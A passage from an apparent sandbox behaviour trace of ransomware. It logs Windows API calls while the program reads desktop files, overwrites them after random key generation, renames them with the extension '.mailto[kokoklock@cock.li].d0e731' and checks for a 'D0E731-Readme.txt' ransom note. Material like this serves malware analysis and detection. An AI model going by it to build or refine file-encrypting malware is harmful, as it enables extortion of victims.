Size=0x20) returned 0x342bb18 [0069.859] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bcf8 [0069.859] NtQuerySystemTime (in: CurrentTime=0x12b3fca4 | out: CurrentTime=0x12b3fca4*=132121176277598068) returned 0x0 [0069.859] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0xe2b99d65 [0069.859] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0xe2941239 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x3f8bb7a2 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0xa98bd12e [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x24e163e6 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x3445f736 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x68a5316b [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x30d20f71 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0xdc6ec20b [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0xd4153623 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0xf49ec6f3 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x7ac07899 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0xd8571aa8 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x1f559f59 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x68e548d0 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0xb75f171f [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0xfb1dc868 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x7b6daeba [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0xcdac5ad3 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x69957269 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x1ab8ce1d [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x15531b05 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x170efe75 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0xfd14058a [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x5c047f34 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0xd784d3e2 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x664ce0c2 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x630a35b8 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0xb0a2eb92 [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0x20cf1afa [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0xe7152a4b [0069.860] RtlRandom (in: Seed=0x12b3fcb0 | out: Seed=0x12b3fcb0) returned 0xb2534a1c [0069.872] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.872] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12b3fc7c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x12b3fc7c*=0x4096, lpOverlapped=0x0) returned 1 [0069.872] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bd70 [0069.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd70) returned 1 [0069.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.873] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12b3fc7c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x12b3fc7c*=0x4096, lpOverlapped=0x0) returned 1 [0069.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.873] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x113a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.873] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12b3fcb4, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x12b3fcb4*=0x20, lpOverlapped=0x0) returned 1 [0069.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0069.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.873] WriteFile (in: hFile=0x774, lpBuffer=0x342bd20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12b3fcc8, lpOverlapped=0x0 | out: lpBuffer=0x342bd20*, lpNumberOfBytesWritten=0x12b3fcc8*=0x8, lpOverlapped=0x0) returned 1 [0069.873] WriteFile (in: hFile=0x774, lpBuffer=0x12b3fce0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12b3fcc8, lpOverlapped=0x0 | out: lpBuffer=0x12b3fce0*, lpNumberOfBytesWritten=0x12b3fcc8*=0x4, lpOverlapped=0x0) returned 1 [0069.873] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12b3fcc8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x12b3fcc8*=0x4, lpOverlapped=0x0) returned 1 [0069.874] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12b3fcc8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x12b3fcc8*=0x6c, lpOverlapped=0x0) returned 1 [0069.874] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12b3fcc8, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x12b3fcc8*=0x20, lpOverlapped=0x0) returned 1 [0069.874] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12b3fcc8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x12b3fcc8*=0x4, lpOverlapped=0x0) returned 1 [0069.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd20) returned 1 [0069.874] CloseHandle (hObject=0x774) returned 1 [0070.919] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e2840 [0070.919] wcscpy (in: _Dest=0x33e2840, _Source="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif") returned="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif" [0070.919] wcscat (in: _Dest=0x33e2840, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731" [0070.919] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\crvv.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\crvv.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.982] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.982] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2840) returned 1 [0070.982] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CrvV.gif", dwFileAttributes=0x20) returned 0 [0070.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.982] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.982] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.982] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.982] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.982] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481898) returned 1 [0070.982] RtlExitUserThread (Status=0x1) Thread: id = 444 os_tid = 0xd90 [0069.877] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png" (normalized: "c:\\users\\fd1hvy\\desktop\\d 2q-t8wcbu7ryxxwaxa.png")) returned 0x20 [0069.877] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png", dwFileAttributes=0x20) returned 1 [0069.878] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png" (normalized: "c:\\users\\fd1hvy\\desktop\\d 2q-t8wcbu7ryxxwaxa.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.878] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x12bbf87c | out: lpFileSize=0x12bbf87c*=23381) returned 1 [0069.878] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x5b51, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.878] ReadFile (in: hFile=0x774, lpBuffer=0x12bbf850, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12bbf84c, lpOverlapped=0x0 | out: lpBuffer=0x12bbf850*, lpNumberOfBytesRead=0x12bbf84c*=0x4, lpOverlapped=0x0) returned 1 [0069.878] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.878] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.878] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.878] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bd20 [0069.878] NtQuerySystemTime (in: CurrentTime=0x12bbf828 | out: CurrentTime=0x12bbf828*=132121176277754322) returned 0x0 [0069.878] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0xed22b32d [0069.878] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0xb57f4acd [0069.878] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x37cf899b [0069.878] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x9c381d96 [0069.878] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x1a26e0f [0069.878] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0xbacda8e [0069.878] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0xe6e1721e [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x87b2e225 [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0xb910870c [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x2c36e5de [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x139ac30a [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x77aab35f [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x5b269535 [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0xd20a0d48 [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x8bd6ded9 [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0xeb71d2b1 [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x5d7330b2 [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x50ff2938 [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0xd88c05fa [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x3d22b1e5 [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0xe9aa1c9f [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0xa4a44376 [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0xb8966547 [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x8aec48da [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x644651d7 [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x3b671110 [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0xbc3d724 [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x1b98c3be [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x40af9864 [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0xabc0be86 [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0xc8a2ec00 [0069.879] RtlRandom (in: Seed=0x12bbf834 | out: Seed=0x12bbf834) returned 0x5f65973b [0069.890] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.890] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12bbf800, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x12bbf800*=0x4096, lpOverlapped=0x0) returned 1 [0069.890] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.890] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.890] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.890] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.891] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.891] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bd98 [0069.891] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd98) returned 1 [0069.891] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.891] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.891] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12bbf800, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x12bbf800*=0x4096, lpOverlapped=0x0) returned 1 [0069.891] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.891] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x5b55, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.892] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12bbf838, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x12bbf838*=0x20, lpOverlapped=0x0) returned 1 [0069.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0069.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.892] WriteFile (in: hFile=0x774, lpBuffer=0x342bd70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12bbf84c, lpOverlapped=0x0 | out: lpBuffer=0x342bd70*, lpNumberOfBytesWritten=0x12bbf84c*=0x8, lpOverlapped=0x0) returned 1 [0069.892] WriteFile (in: hFile=0x774, lpBuffer=0x12bbf864*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12bbf84c, lpOverlapped=0x0 | out: lpBuffer=0x12bbf864*, lpNumberOfBytesWritten=0x12bbf84c*=0x4, lpOverlapped=0x0) returned 1 [0069.892] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12bbf84c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x12bbf84c*=0x4, lpOverlapped=0x0) returned 1 [0069.892] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12bbf84c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x12bbf84c*=0x6c, lpOverlapped=0x0) returned 1 [0069.892] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12bbf84c, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x12bbf84c*=0x20, lpOverlapped=0x0) returned 1 [0069.892] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12bbf84c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x12bbf84c*=0x4, lpOverlapped=0x0) returned 1 [0069.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd48) returned 1 [0069.892] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd70) returned 1 [0069.892] CloseHandle (hObject=0x774) returned 1 [0070.919] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33ceea8 [0070.919] wcscpy (in: _Dest=0x33ceea8, _Source="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png") returned="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png" [0070.919] wcscat (in: _Dest=0x33ceea8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731" [0070.919] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png" (normalized: "c:\\users\\fd1hvy\\desktop\\d 2q-t8wcbu7ryxxwaxa.png"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\d 2q-t8wcbu7ryxxwaxa.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.980] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ceea8) returned 1 [0070.981] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\d 2Q-T8WCBu7RyxxWaxa.png", dwFileAttributes=0x20) returned 0 [0070.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.981] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.981] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.981] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dfc0) returned 1 [0070.981] RtlExitUserThread (Status=0x1) Thread: id = 445 os_tid = 0xef0 [0069.895] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\dccr2t7rk.swf")) returned 0x20 [0069.895] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf", dwFileAttributes=0x20) returned 1 [0069.895] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\dccr2t7rk.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.895] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x12c3fc30 | out: lpFileSize=0x12c3fc30*=25601) returned 1 [0069.895] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x63fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.895] ReadFile (in: hFile=0x774, lpBuffer=0x12c3fc04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12c3fc00, lpOverlapped=0x0 | out: lpBuffer=0x12c3fc04*, lpNumberOfBytesRead=0x12c3fc00*=0x4, lpOverlapped=0x0) returned 1 [0069.895] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bd48 [0069.895] NtQuerySystemTime (in: CurrentTime=0x12c3fbdc | out: CurrentTime=0x12c3fbdc*=132121176277910531) returned 0x0 [0069.895] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x8a7d7735 [0069.895] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0xeee45793 [0069.895] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0xf595e48f [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x5957fc7a [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x3e3cd9a6 [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0xd013f3c1 [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0xf20cfbb1 [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x4e5d971e [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x37480850 [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x53212938 [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x30f7103a [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x32b631be [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x18598dfa [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x2b093327 [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x27a4c823 [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x4c22f17 [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x8f8500c3 [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x15e86e3c [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0xda81c6b4 [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0xd2292cdd [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0xc9e69321 [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x41beead9 [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 